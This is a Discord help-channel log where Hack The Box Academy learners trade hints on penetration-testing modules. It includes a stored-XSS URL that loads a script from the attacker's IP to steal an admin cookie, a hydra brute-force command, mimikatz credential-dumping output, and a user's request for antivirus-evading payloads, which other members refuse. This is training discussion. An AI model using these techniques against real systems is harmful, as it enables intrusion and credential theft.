#modules
1 messages ยท Page 139 of 1
but this creds given by module
then youve entered them wrong
oh nvm. thx, my bad
any ideas?
finished the skill assessement part 1
using blood hound is a good idea
i have a question if someone did this
like a confusion if somone can help me with it
its about blood hound
whats the question
any idea?
user:super
was something like that
lemme check
yea role:super
It didn't work for me for some reason
maybe burpsuite things
coz you havent got a role assigned
i think you messed up your encoding
let me check again
I encoded it like this
I guess my problem is with the the hex delimiter
sure it is
the cookie from the site has no delimiter
check that when decoding, also when you re-encode check you get the same result back
then you know you have the correct algorithm
Great tip! Thanks a lot
? Gonna have to be more specific my guy
Anyone avalable for dm and hints regarding NTLM relay attacks - skills assessment?
I don't know why the result of my 'cp' command says no directory even though the 'searchploit' result shows thats the path of the exploit that I want.
that path is relative. If you use searchsploit -p 50064 it will show you the full path to the ruby script
in msfconsole?
Yes
Copying though isn't necessary it's already in the msfconsole library
doesn't make my statement any less true
Firewall and IDS/IPS Evasion - Medium Lab
why is this solvable without a single evasion option?
also the Easy Lab do NOT need evasion to be solved
i feel scammed
Life is strange))
yea it was a cooler one, at least is a real evasion technique
nice module the nmap one
im reaching the passwords attack module, would you recommend using hashcat under my RTX 3070?
will it save my time?
hi
i've read so many times around here about that module
im kind of "scared"
enough i think thanks
Does anyone know why htb and htb academy aren't linked under the same account?
i have the same question xD
two different platforms, guess they want it separated
I'm stuck on Firewall and IDS/IPS Evasion - Medium Lab
i was stuck for 3 days

๐คฆโโ๏ธ๐คฆโโ๏ธ
Can you give an analogy to a movie that doesn't directly give the answer away but still provides some kind of guidance? ๐ญ
niceeee
forget what I said HAHA

I'm new. Do I have unlimited access using openvpn from my vm? The free version only allow 1 instance.
๐
If you use your own vm you have unlimited use, if you use the browser-inbuilt-vm you are limited
The UDP scan is about 15% done , we're almost there
In that case, I am connected but when I try to use the ssh to sign in to the target computer, it did nothing.
you're supposed to scan only port 53
Never mind. I just figure it out.
I owe you big time, considering none of it was on the cheat sheet ๐ญ

What did you end up doing?
I entered "shh" instead of "ssh" to connect to target computer
Can some one help me with the linux module
Oh gotcha, did you have any issues installing the openvpn configuration file to you VM? I've tried it a few times and everytime it won't let me connect
Which part
No issue. When you downloaded the open VPN file, I usually place it inside HTB ACADEMY folder and run the shell from that folder.
I am stuck on the first question
I have used the following
Find / -name *.conf - size +28K -size -25k
I decided to quit HTB and just learn through THM.
THM: Let me guide you through the process
HTB: Here the box. Now root it

whats the question?
What is the name of the config file that has been created after 2020-03-03 and is smaller than 28k but larger than 25k?
I will come back. Just need sufficient knowledge first hehe
find / -type f -name *.conf -size +25k -newermt 2020-03-03 -exec ls -al {} ; 2>/dev/null
Its in the module above
Thanks
you just gotta look for ti
Wait.
Just open shell from the folder your downloaded the file and type this: "sudo openvpn (name of file)" then you open another terminal and you can use it to target another computer
find / -type f -name *.conf -size +25k -newermt 2020-03-03 -ls 2>/dev/null
Honestly I've used both platforms, even though HTB is more stubborn you will learn more on HTB since it forces you to search around and learn yourself
HTB will pay off when it comes to you having to think on your own
So I should just stick with it?
Who has pwn this machine?
Its up to you, but I think the learning process on HTB is way more valuable
I see
I've honestly been curious about trying to utilize THM in terms of better assisting ones understanding for HTB material, so let me know what happens with whatever you decide
Since I'm on the Linux foundation module, I was thinking taking Linux in THM and then come back to HTB and finish that module
Yeah that's not a bad idea, I've completed the THM linux module, and it provides a pretty good walkthrough especially if its your first time, but like I said earlier HTB provides a more rigorous learning approach forcing you to ingest the material through trial and error rather than just telling you how to do it. But theres nothing wrong with building a foundational understanding first and then coming back to tackle the more advanced modules
Plus theres no sense in trying to convince yourslef that you can excel without the basics, we all had to go through it
I do have to admit. I was frustrated for hours with HTB but I learned so much because of research.
Once you progress enough you'll realize both platforms are the same thing especially in terms of doing it yourself when it comes to trying to find the answer.
Can someone give me hints on Skill Assessment - Broken Authentication?
been stuck for hours
Right
read #welcome and #rules after that use /verify at #bot-commands and ask at #1157735501516779711
What I have done so far
||I found the password policy:
start with a capital letter
contain at least one lowercase
contain at least one special char: $ # @
must be of length 20 or longer
end with a digit
I tried using ffuf and wfuzz in the register page and messsages page but no hits. I found the guest username via burpsuite amd the support username
I also noticed there's a rate limiter, I tried using the script provided by the module but that didn't really work.
I tried tampering with cookies but it was only my username after decryption (url decode --> from base64 --> md5). So I thought I should be logged in with another user||
the thick client thing is insane
seriously its from an insane box called Fatty ๐
I'm reporting it
lol, reporting what exactly?
Hi Everyone, I'm taking the Penetration Tester Job roll path. Previously I subscribed as a student. However, I didn't complete the path due to personal matters. Now I've restarted the module and when I try to access modules I'm being asked to pay. When I go to billing to make a purchase as a student the option is disabled. How can I make payment as a student ? Is this option available?
If you no longer have access to the student email then you can't resub to the student plan. Iirc they send out regular "click this" type emails to make sure you still have access. I'd contact support to get it sorted
Ok I'm sure I've access to the student account. Just not sure why its disabled. I'll check again. Thank you
i need help with something simple and silly, im doing linux fundamentals and i made it to system information, literally the first exercise, im trying to connect to the ssh target, I was given a username and password, and this is what im typing : sudo ssh username password, and it's not working
any idea whats going on?
what error did you get?
ssh: Could not resolve hostname username: Name or service not known
its probably simple but i'm trying to figure it out, but this has been taking some time with me
are you connected to the academy via openvpn?
yep
maybe try resetting the machine
i'll give it a try
just connecting to the vpn again
alright, the website finally gave me an ip
done ๐
does it work now
awesome!
can anyone help me on the linux priv esc skills assesment
Cant seem to get ||tomcat|| creds to work on the web gui
can you post the first and last letter of the password? Just making sure is the right one
Morning all, very quick one, doing the laudanum module in shells and payloads, and on the second question it's asking for the path of the webshell. Ive tried /usr/share/webshells/aspx/, /usr/share/laudanum/shell.aspx, I also carried out a find for shell.aspx which brought up some /opt/ directories, neither of them worked.
I'm doing this through the pwnbox as per the question.
Any help would be greatly appreciated, thanks
||a*m || got it from the readable ||tomcat-users.xml||
wrong passwd, enum better
You're honestly close with the webshells path, it's just asking for the full path including the webshell.aspx
@fathom pendant thank you kindly, all sorted now ๐๐ป
Hi there! Has anyone done chapter Tapping Into ETW from Windows Event Logs & Finding Evil module?
I wanted to leave feedback on the feedback option.
This is what it looks like for currently. Inspite of the bot saying "You can leave any comments here [...]" the conversation was automatically ended and I can infact not leave any feedback.
Only just saw this now. At the top it says "Back in 1 hour". Is that the reason?
If so, the message of the bot is still quite misleading.
censorship
probably bugged ask in #general
or tag Emma she is really active in the chat
[removed]
I posted the original message in #858470491676737536
Okay, guess I'll go there. Thanks. ๐
crackmapexec - What's the full name of the smb module that starts with zero?
I cannot see any modules beginning with 0... anyone able to help?
focus on the word itself
thank you, I was being stupid ๐
Hey, Any recommendations on which wordlist to try on gitlab attacking module, have tried xato/xato-dup/cirt,names, but by far no luck by finding username for gitlab ๐ฆ
Also trying to use both sh and py tools to enumerate users
Hi I was doing the footprinting module and I tried executing odat.py so I copied the bash install file and excuted it and yet I cannot run ./odat.py
โโ[eu-academy-1]โ[10.10.15.80]โ[htb-ac-399878@htb-q92nqnbw70]โ[~]
โโโโผ [โ
]$ ./odat.py -h
-bash: ./odat.py: No such file or directory
Zerologo ?
nvm i found it thanks anyways
You need to do it from the directory created iirc
Yeah for some reason my brain swapped zero with 0 so was being a complete idiot
XD ๐
Who knows to solved this modules https://academy.hackthebox.com/module/145/section/1295
is supposed is supposed response it's like this <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/X.X.XX</title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
<span id="nav-examples"><a href="/examples/">Examples</a></span>
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>Apache Tomcat/X.X.XX</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
<SNIP>
you are doing it wrong
read the section
Okay, about the Password Attacks module again, this time a question.
I'm failing at the task where you have to mutate the password list.
I mutated the provided password list with the provided rules and ran hydra against the SSH server with said mutated pw list and the user "sam". It has been running for a solid one and a half hour now.
What am I doing wrong? ๐
That can take many hours, SSH is notoriously slow to brute-force, try a different service, the question doesn't say you must brute-force SSH, just that you have to log in with SSH
How come one command shows two different outputs in ACL enumeration section? or am i not understanding it correctly?
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $adunnsid} -Verbose
I feel like an advice about what services to target first in the module would be a good idea cause it would both hint better at the fact that there are other services on the target and be valuable information.
(unless I overread it and its actually in the module, but I don't think it is)
In any case, thanks for the hint! ๐
I don't think it is, I just always scan each target, but really many people have complained about it and posted in erratum to my knowledge, seems they like it the way it is
The module is a bit tedious a whole
Yeah. I'm at the start of the module and I already have an oppinion... oh well.
There's still a lot to learn from it, but it's not making anyone's favourite list
module:hacking wordpress,. The directory indexing exercise, I don't think I am connecting to it. I try ping it, gobuster, nmap, curl -s -X, and using a browser. I even re-donwload my vpn file and reset. But I either get an 'unable to connect' or not found message. My ip starts with 10.10.x.x, the target starts with 83.136.x.x. Does any one has similar issue? and how did they resolve it?
i just did this module yesterday and had no issues.
i wander if it is my network then.
possibly.
does your vpn connect successfully?
it does. so I am assuming the firewall must be blocking it, because I am able to browse to other sites.
Are you using the port they give you?
yes. curl -s -X GET http://83.136.252.24:52374 | grep '<meta name="generator"'
I also try browsing to http://83.136.252.24:52374 and complains that is unable to get to it.
why?
Try restarting the target
i can reach
Weird then
That looks like a personal issue with it getting blocked, maybe firewall rules or something
oh.. that may be the problem then.... ok, disable the vpn, reset the target and now I am able to access it. When do you know if you require the VPN file? I always assume that all the exercises within HTB will require the VPN file.
i mean i was connected to the VPN for all of Hacking WordPress and had no issues lol
yea
Generally when the target is 10.129.x.x
thanks everybody, I was able to access it.
It sounds like the vpn took over as your main network interface
yes, I think that is what it does. Not sure if I can bypass that.
It shouldn't though
i will look into this another time.
can anyone tell me,why nmap doesnt show RECEIVED packages with --packet-trace ? only send packets
i did everything,but still cant
its so annoying,i cant continue the path
maybe its something with the version?
any help plz?
So that's not even a handshake.
Essentially it sends, but doesn't receive.
The host is up but it filters the traffic.
Which port are you on?
hello
i thought it isnt even a handshake.but on HTB tutorial,it gets a response,in the same local IP.maybe its my fault somwhere?
forget it,it showed received.maybe something is wrong with the example that HTB giving
on another nmap scan it gave Received pcakets
Hi All, I am working on Skill Assessment -- Broken Authentication Assess the web application and use various techniques to escalate to a privileged user and find a flag in the admin panel. Submit the contents of the flag as your answer. Can I get some help?
yes! I can help, what step are you at?
platform down
thank you guys
the null session is ebaled right
but when trying to enumerate shares getting
null sessions can be enabled and still have listing denied
other stuff you can enumerate with a null session. Also worth checking for anonymous sessions and the guest account
Guys is the website of htb academy down?
Emma said above they know and are working on it.
Sorry I didnโt notice! Thx
thank you ema and the teamm
yeah it usually is, but null sessions are usually disabled these days too so worth a check lul
btw ther is no diffrence betwwen anonymos and null session
i found on crackmap documentation
that we can use -u 'a' -p ''
but the tools shows that they are taking the a like a user
yes
null session is when you provide no user no password hence null. anonymous session is when it accepts any user/pass
theyre different, but often have the same level of access(or lack thereof)
oh i see now the diffrnce thank you
Ive seen a box before that had different permissions for null, anon, and guest all on the same box ๐
you can do a bunch of other enumeration with null session besides shares
the first user creds are unfortunately the most important creds in ad hacking
next only to da/krbtgt creds
yeah and most of the time they are hard
what
only credentials for a domain admin or the krbtgt account are more valuable than the first ad creds you get
yes yes i agree
and dont forget that a machine account hash counts as an ad user cred
thats my latest ad obsession
Hi all
Can someone help me with "Credential Hunting" from Windows Privilege Escalation?
I got some files but I cant find correct password ๐ฆ
I saw that I should searching in C:/Users
i got passwords.txt for example but there are lots of them
@thorn urchin i tried like 2 hours ago some poisning right i found a user but the hash caputring was skipping
ill show you i didnt know why
what is the point of this thick client section in the Attacking Common Applications module? To show we don't know crap about nothing??
That makes it exciting to learn.
check Fatty machine ๐
yes I have seen the 2 hour long ippsec video lol
and i want to do the poisning from my attack box even tho i pointed the responder to ligolo interface its not listning on that ip adresse
If yk the sh I am going through rn at the footprinting medium lab. I wonder what the hard one will be.
write down all the passwords you find see what does / doesn't work. if you need help i'd have to redo the lab
Ive not figured out how to get responder to properly work with ligolo if its even possible at all
but this will help you with taking good notes and you'll build a pretty good password list.


I think that I need to check by intruder for all this list XD
i see ill look if i can do that but the most important things
No other pivoting tool lets you either so I dont feel its a necessity to have it work, but itd be cool if it can. I just havnt had time to go back to a lab where I could test it
Hi there! Iza here! Can anyone help me please talk to an admin/mod about a paid collaboration proposal?
Thank you so much!
yup it skips hashes for ones its already found. Gotta go open the logs to get the hash
broo i started with this wtf like 2 hours ago
and i was wasting time looking at those null session
XD
anyway was worth trying some crackmap
Idk where is this
ok got it
Is parrot better than Kali, in general and for HTB modules
For the last question in the ffuf skills assessment: Try fuzzing the parameters you identified for working values. One of them should return a flag. What is the content of the flag?
Can someone please point me to a wordlist that works?
In general, Kali is the standard. I would say it's better as there are just more tools and resources that are built for Kali. Also, anytime your following a technical walkthrough they're probably using Kali
guys can someone guide me through this question
its a think dumber question
what
unfortunately makes it nearly impossible to hint at without spoiling the actual answer
so you need to think dumber
whats a common very low effort easy thing to try
i tried too many things but noone of theme work
think basic basic stuff
w8 ill try to think dunber
the only thing i can do from this point trying some password sparying may be
Does anyone know why I keep getting password errors?
I'm typing: Academy_WinFun!
and it won't register
Yes I checked for caps lock
I'm starting to think the openvpn file isn't processing all the way when I run the sudo command
then perhaps thats what you should try
i found the way the user are XX999
cheers
Firewall and IDS/IPS Evasion - Hard Lab
It was working fine yesterday
Yea but I'm trying to connect my own VM instead of using the browser one
lol
Unless I'm doing it completely wrong
No I mean like I have my own hypervisor and vm machine that I want to use to complete the challenge instead of using the HTB acadmey browser pwnbox VM
Oh I see what your saying
nice you figured it out
Questions regarding Module: Cross-Site Scripting, Section: Session Hijacking.
- In this scenario, are we pulling the cookie for the admin once our local
script.jsis run? Or the cookie of the target user entering the information into the form? - How would this work in a real-world scenario? Are we somehow supplying the URL with our injection to our target? OR are we using the injection ourselves against the form to receive the cookie value like we did in the module?
hacking wordpress, user enumeration - the 'jq' command only shows one user (id=1), not id=2 shows. But when I use the browser, http://94.237.62.195:50451/?author=2. It shows that the URL title says 'D... L...', but the 'Author: ' shows blank for the name. Why?
section?
for real world it depends if its stored, or reflected or DOM
- For the user who see the XSS payload and his browser executes the js code
Letโs say Reflected similar to the section
yea reflected you have to send the URL
maybe using Open Redirect to mask your malicious intent
for this is where your creativity afloats
So in theory I can send a link to a target, where it executed my script, but then redirects to the legit registration page? Something like that?
no, Reflected XSS is when the payload travels with the request and then it gets reflected in the page
So then this session hijacking is an example of DOM based?
session hijacking is DOM based or stored btw
ah gotcha, make sense.
idk if the payload is presented as part of the HTML (DOM) or stored in the backend and reflected
Well if its blind xss you'll never know, right?
exactly
ok, but in the example in the section, would the real-world example be someone sending a URL with the payload to the target, then attempting to hide the intent by re-directing to the legit registration page after receiving the cookie value?
no no
it doesnt work like that
in the session hijacking you cant send the payload via URL
that would be for an reflected XSS
in a stored XSS you can tell your victim "hey check this page"
http://10.129.115.102/hijacking/?fullname=test&username=test&password=test&email=test%40me.com&imgurl=%22%3E%3Cscript+src%3Dhttp%3A%2F%2F10.10.16.55%2Fscript.js%3E%3C%2Fscript%3E`
and the page is infected
I couldnt just sent this?
yea but the trigger is on the page that the admin sees
you sending that to me for example will only lead to me registering with that data
sure, but wouldn't the script run regardless (if we're on the same network) and provide a cookie value once its redirected to my index.php script?
this does not trigger any script
why not?
the trigger is on the page where that data is presented (can be presented as DOM or loaded after retrieving it from the server which is stored XSS)
try it yourself, click on that link
it works
something weird is happening behind then xD
it still sending the data within the URL
it will just automatically go to the "thank you for registering" page
coz the XSS is when the admin checks your profile data
Module: Hacking WordPress; Section: User Enumeration.
is this mentioned in the section?
I guess thats where my confusion lies, whos cookie are we getting? Is it the admin who is grabbing the information that we've stored on the back-end with the registration that was submitted?
why crcakmap is saying that is from untrusted domain
shoud i add the domaine in the user
what cookie do u get?
when you click on the link?
im getting the admin cookie
Can I DM yoU?
sure
there is no target ip for that section
you have to refer to blog.inlanefreight.com
?
oh... I thought those were samples and we need it to use the previous IP from the previous exercise.
nooo
I'm having some trouble with the Getting Started Module - Service Scanning section.
I'm on the last question of the interactive terminal, and I keep trying to follow what the lesson taught to access the smbclient shares, but it keeps giving me this list of commands whenever I try to execute the command to log in as the user bob. Any suggestions?
Put a space after 'bob'
[-] ERROR(SQL01\SQLEXPRESS): Line 1: Login failed for user 'INLANEFREIGHT.LOCAL\netdb'.
does crackmap support windows authe
never mind google is a good resources to use
If only there's a --windows-auth
well he did figure it out right after he asked lol
i used local auth
Am I still scanning for TCP and UDP in the Firewall and IDS/IPS Evasion - Hard Lab? I've tried every command I keep getting nothing in return
you can dm if you still need help
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000002)
guys
help
have you tried researching this error and what it means?
like i have admin privliges i can dump all the hashes of the local machine
dm ๐
idk if im just too stupid
i can passthe hash but my dearcrackmapexec saying its worng
is that DA admin or is that local admin ๐
local admin
well there ya go
I was gunna say, didnt you literally learn this lesson a couple hours ago lol
maybe bed time to absorb the info
yes i did
my bad insteda of doing --local-auth on crackmapexec
i was doing it with evil-winrm
and i taught crcakmap has no local-auth for winrm
Ive confused arguments between diff tools before as well
make sure you're noting this down in your notes ๐
no. "local"
they could be using the same password though
i was trying to not confusing things
btween a password reuse
and being admins on multiple machine so its worth to check
as you go through a pentest you'll want to (in my opinion)
- check admin password reuse on other hosts
- keep updating a password list with all the passwords you find on that assignment to check if any of them are reused
thank you so much ig enogh forme today
im not gonna be able to understand thoingslike this
so bettter to take a rest
guys its not about HTB,but anyone has any idea which docker desktop doesnt run in windows 10?i mean i have tried everything but always its getting misconfigured with the WSL,maybe anyone has any general idea to follow some steps?thanks
if it's not about HTB Academy, it doesn't belong here.
Is anyone on?
Nvm got it
Does anyone know if I'm on the right track? This is for the last box in network enumeration
yes๐ซ๐ซ
Also it helps if you actually provide the command you used
You can delete it after
Also you'll need to do -p-
As the answer is on a non-standard port
Wrong source port
Think about what's taught to you in the ids/ips evasion section that goes over different techniques
I can always count on this man saying that ๐คฃ๐คฃ
Thanks @fathom pendant
It pays to actually process and read info
Notes are extremely useful
Literally my notes on this assesment was just a backlink in obsidian to the specific section lmao
๐คฃ๐คฃ
Im literally about to do the same thing
My god that took way too long
I almost pulled one of these
When you realize you were missing the ; in your mysql query
How was I supposed to know to ffuf for vhosts? Attacking Common Applications - Skills Assessment II
because it should be part of your enumeration workflow
^
thanks ๐ญ
Hey Good Morning can i get a nudge on Web attacks skills assessment ?
Did you try the things from the module
@fathom pendant Yes i did ... maybe im going in the wrong direction... i have a token for an admin account, so i tried to reset it im getting Access denied
Have you re-encoded the token
I tried a couple other Verbs in my request and filled out the parameters
I haven't done the module myself but surely you're overlooking something simple ยฏ_(ใ)_/ยฏ
if you still need help i am here
thx again got it
๐ช๐ป
Anyone knows how to fix this error?
try this on the pwnbox
git clone -q https://github.com/epinna/tplmap.git;cd tplmap
virtualenv -p python2.7 tplmap
source tplmap/bin/activate
pip install -q -r requirements.txt
./tplmap.py
same bro not work
Hi All
Maybe you know how can I escalate privileges?
I was trying to find PowerUP or Bypass-UAC script but with no results ๐ฆ
I want run on my machine
try it in a vm, why on earth would you do it in WSL?
which module and section are you on? what did you try and what fail? and in the little context that you give where did you look for those tools?
Windows Privilege Escalation -> Citrix Breakout -> second quest
I got the access to the cmd of pmorgan user but I don;t know how can I get to the Admin because I can't find script which are required to do it
I was also trying to copy it from my machine or to create these scripts on the windows but with no result
On the learning path these scripts were in Public folder but there are no any files in this folder
all of the tools that you'll need for this section is in the Tools directory and you can access that from the target machine by hosting an smb server on your attacker machine which is showed in the section
because virtual box need high ram
So this problem im solved , the problem is in files core/plugins.py
my kali only have 4GB of ram you can run it with as low as 2GB of ram
but lag bro
or just dont use tplmap 
What command need to get the flag?
but I don't understand what he wants
Well you cut off the question but I can assume it says "environment variable" or something
hidden
just check environment variables
as the question tells you
you do not even need a shell
Huh... almost like my reading comprehension allowed me to assume that was the question xD
you are skilled then
i love solving little web questions from my iphone
Seems like inspiration from Gandalf
you can use the command env to view environmental variables in linux
Ok I got connection with SMB and I got also scripts but I can't run anyone soo probably I need to change registry with Small Registry Elevator?
i want to keep helping but im far from home
Ok I got it solved
Hi guys, If an ip address is given. What is the best way to find out whether the ip adddress is a member of workgroup or domain? (in linux)
did your VPN connect properly? also as it suggests (i don't remember if the nmap modules does this), but it's possible it's blocking ping so use -Pn
nmap uses ping to determine if a host is up or down, using -Pn basically just means assume the host is up
im not using a vpn for that. Im using the browser VM on hackthebox. yes I tried doing -Pn, still nothing. Sometimes nmap works, and most of the time it doenst.
weird
refresh the page and make sure the target is actually still alive
sometimes things just need a reset
will try
itโs probably protected by the ips/ids
which section
in linux fundimentals-file system management there is a question asking How many disks exist in our Pwnbox? (Format: 0). ive tried things but havent been able to get the right answer
i believe someone reported that as broken
create an #858470491676737536
considering they don't know what this server is, i doubt they have an account
not relevant
I donโt understand why people even join a server if they donโt know what it is
Scripting with nmap
Yeah exactly
reset the target i think
Maybe change browser ?
Did it already multiple times
command
ping?
No also doenst work
Even nmap IP doesnt work
<@&861185840277487616>
this is only for help with HTB Academy modules
uhhh what a weird situation
dude im new here, i was finish module, didnt get last few pages about packers etc and im stuck with "shells and payloads" module
thats why im asking that
you should probably specify that then and not phrase your question as "how do i use metasploit against a server"
well i didnt expect serious rule break on first message xd
this is an ethical hacking server / learning platform. when you phrase your question like you want to use metasploit against a server how do you think people are going to take it?
if you need help you should specify what module and section you're working on and where you're confused
you're not in the wrong lol if that truly was an academy question it was very pooly worded
Exactly. Dont know what to do
however i need lot of help about that and in this group chat we cant send pics videos etc. so i will try to learn that somewhere else
You can post images
Read and follow #welcome
You can also use text when asking a question. Just put it in the right format
also if the English language is not your strong point, use DeepL an AI powered translate service
cant find the way how to post images etc. didnt use discord for years since i was gaming... in this case i need some cheat sheet for "shell and payloads" so i can choose right exploit and use them properly (i mean for wide using) and from "metasploit module" packer which makes fud payloads, there is many of them and first two didnt work for me, so if someone knows i would be glad to learn that on one place
You can also use other resources. Google is your friend
most modules come with a pre-built cheat sheet...
also things not working on the first attempt is how things work in this field especially when you're first starting out
To post pictures, you need to verify your user. Read and follow #welcome
tried to find packer etc online i had no luck so i resume with shell and payloads module, not much info online about anything, i found something but lot of bullshit online
The CheatSheet you can find here
i mean something like that but in pdf for all cases smb sql etc
same with making fud payload
no education platform is going to teach you everything
this is an always changing field
and you can just convert it to a PDF yourself...?
Metasploit will not work in every case ๐คท๐ปโโ๏ธ
^^^^
another case of skill issue?
yes
i am loving every second of this ๐ฟ
its a "metasploit will solve all my problems" case
i wonder why they prohibited it for OSCP
i mean you can use it once lol
haha true
but that's an easy workaround in my opinion, i feel bad for the people who use sqlmap for everything
most, if not all, the things you can do within metasploit can be done with public pocs
yea just read the ruby code and create your own Python one ๐
100% of them
Guys i dont gave my pc infront of me is there any module that cover osint in htb academy
but yea is a super tool for getting tedious job done
that's what i thought, but i threw in a little disclaimer to cover my back lol
yea a tier IV one
1000 cubes
OSINT: Corporate Recon - https://academy.hackthebox.com/module/details/28
but yes 1000 cubes
metasploit does not deserve the hate, but i think its due to a lot of script kiddies using it the wrong way
imo is an awesome tool
it's a great tool, especially if you learn ruby and craft your own payloads/exploits
yea and the little command and control you can setup
however i need some page where i can learn that, i work on burpsuite academy too
i havent understood your question yet
View Metasploit Framework Documentation
what exactly does Burpsuite have to do with Metasploit?
im trying to learn servers attack etc
then do the server-side attacks module
but for now i need some help about metasploit
you're not learning anything by running a metasploit script
learning isn't setting rhost and then typing exploit
and i tried to imort some ruby payloads to metasploit or encoders
Ayyayy i was so exited but yeah
are you sure you are in the academy context 
but i need some cheat sheet which gonna make job easier
you're not always going to be givien a cheat sheet
read this and make your own
something like metasploit cookbook
a 1000 cubes men ๐ฅฒ
you're not going to make it far in this field by expecting a cheat sheet with everything you do...
but latest version
cool.. again read the docs and make your own
boo hoo๐ญ you have to learn and do something yourself instead of expecting the work to be done for you... sooo tragic

that would require reading which they're clearly bad at
they want you to just give them the commands
he will quickly realise that he won't get far with Metasploit.
so let me get this straight, you don't want to learn how the attacks work so you want metasploit to do it for you, but you are so lazy that you don't even want to learn how metasploit work so you are begging for a godly "cheat sheet" that would make you a pro at being a script kiddies?
also with the number of situations this field have is impossible that a good cheat sheet exists
xd
wait... are you telling me being able to search in metasploit and then being able to set options and typing exploit isn't learning๐ฑ ๐ฑ
you need a METHODOLOGY
but my metasploit payload worked๐ข i'm no h@ck3r?
well im not going explain myself, im just asking for xor aes encryption code or some ways to hack servers with metasploit
๐๐๐๐
yes because you're doing something that isn't legal
but C didnt get zero detections for me
i told you
so im asking alternative ways
that explain the SERIOUS RULE BREAK at the start
HAHAHAHA
well i tried xd
you guys don't want to hack servers with me with metasploit?
hahahaha
ban him
bye anyway
There is no recipe book on how to attack a server. That is individual in each case
i tried xd
cya nerd
Why is everyone so mad?
no one is mad
He is trying to learn isnโt it?
please read
no they're trying to do something that is illegal
and we all knew it from the start which is why no one is helping them
Anyone can give hint?
and considering the fact they're using metasploit they'll probably get caught
you'll need some ๐ฟ for this
I didnt saw that, my bad
also this question makes no sense
I will get my popcorn
No, he's looking for a way to hack a server at the touch of a button.
๐คฃ๐คฃ๐คฃ
no

now social engineering
anyway
im done
so you are expecting to bypass modern defence and AV with a packer and some encryption lol?
i tried to ask
nothing too illegal
i WaNt To BypAsS aV wItH mEtAsPlOiT tEaCh m3
at least i decrease av detection a lot xd
Search for an exploit, use it, configure it, type run
so thats why i asked for packers
yes virustotal is a very realistic source
dump wait to think if you want to get anywhere with this lol
you're doing something illegal and no one is going to help you
With metasploit?
free from school ๐คท๐ปโโ๏ธ
if you stay here a good while you could enjoy this like every other days and it's was worse before
it happens a lot in Academy since it's a public channel
everyone missed this through the lol but you are on Server-side Attacks Skills Assessment right? hint stop using tplmap or any automatic tool (as the other dump dump learn) and enum the page source code manually
it made me laugh the xor aes part
ohh this was a good one! keep trying
love when academy questions have a little think outside of the box
Or Burpsuite
the without registering an account is a huge hint @fossil parrot
well expect someone will open to me and tell me the way how to bypass av, but i will find some way soon probably
keep using metasploit and you'll get there kiddo
i believe in you
probably nope for both
dont talk to me xd
nvm thanks for support guys
see u
you've said bye like five times now... is this time for real?
"Find the existing exploit in MSF and use it to get a shell on the target. What is the username of the user you obtained a shell with? "
Once we find the exploit, will we need to use the exploit to find the user name in the system once we are in the system or is the username something we already need to know through other means?
use the exploit and then run whoami, who are you?
(assuming it was successful)
if you're already on the system, have RCE, or LFI, then yes you could probably cheat and figure it out, but that's not the point of the module/section
whoami is not working on this ubuntu system
i ran sharhound in powershell now im trying to import the file into bloodhound but i get an error "bad json file" anyone know why
do you have other hint?
try to finish the assessments without hints
otherwise you are just wasting your time xd
nvm got it
you're in meterpreter, type ? you'll see there is no whoami command which it is telling you.. || run a command to get a shell ||
that assessments is super easy just a bit out of the box and the hint i give before is the best thing that you'll need
enter the command shell
either use shell to drop into a cmd or bash shell or use getuid
without registering
and try again
Because you have to drop into the shell
For PtTf from Linux under Password attacks: Is /tmp/krb5cc_647401106_HRJDux not correct to use? Exercise: Check the /tmp directory and find Julio's Kerberos ticket (ccache file). Import the ticket and read the contents of julio.txt from the domain share folder \DC01\julio. I have tried everything from limikatz the ls -la /tmp, klist, etc.. and this is the only one for julio that doesnt look expired. cp --> export, not working for me.
There's another one
Both suggestions worked
I see two for J, but that one is expired. I'll keep pushing. I'm sure it's staring at me right in the face. Thank you!
you show up a bit late ๐คฃ you missed the whole show, some guy was trying to hack servers with xor encrypted social engineering 
HAHAHAHAHA
Eh I'm busy today hanging out with a friend
w8 do you have life apart from hacking
never heard of that
Un poquito
nah she is speaking spanish now
Found the ticket. Weird that it showed up later after using some of the same commands. Now just need to figure out how to traverse as that not working either lol. bastages
that means un poquito in spanish
I need some help with the Windows Privilege Escalation Skill Assessment 1.
I have a full tty shel on the target and I am trying to upload a file to the box, but herein lies my problem(s) I do not know where I can Download a file to, and I cant find anywhere.
hey bro currently into the password attacking module medium lab got ssh access and looking around found a local mysql and a debian_create_root_user.sql
am i on the right track? sry for asking
The create user sql is not necessary
Just enumerate with creds you have
yea, i knew they expired, just feel like i was seeing the same ones over and over, now i see what is happening. I got the flag. Thanks for the push. Appreciate it.
ty got in โค๏ธ
Anyone?
found the other creds now its time to dig into Ds ssh
Got it sorted, could not use curl or wget to download the file
help with Login Brute forcing module...https://academy.hackthebox.com/module/57/section/491
hydra -l b.gates -P '\william.txt' -u -f ssh://83.136.253.147:53372 -t 4
doesn't give any hits
what password list are we supposed to use?
the cupp generated
you need everything that's shown in the module, not just whatever you feel like giving
Module: Active Directory, Section: Credentialed Enum, trying connect to the box, but there is black screen and it is not working, could anyone help please?
Have you tried hitting any key
yeah, its not working
Enter?
oh it worked, thank you
oh sorry i didnt know haha
the good screensaver
it got me too the first time, I switched to Remmina, then saw the answer here the next day lol
Screensaver the best AV/Defender
yeah, gotta put that in my recommendations, black hats gonna be like "guess those creds don't work, we've been thwarted, guys"
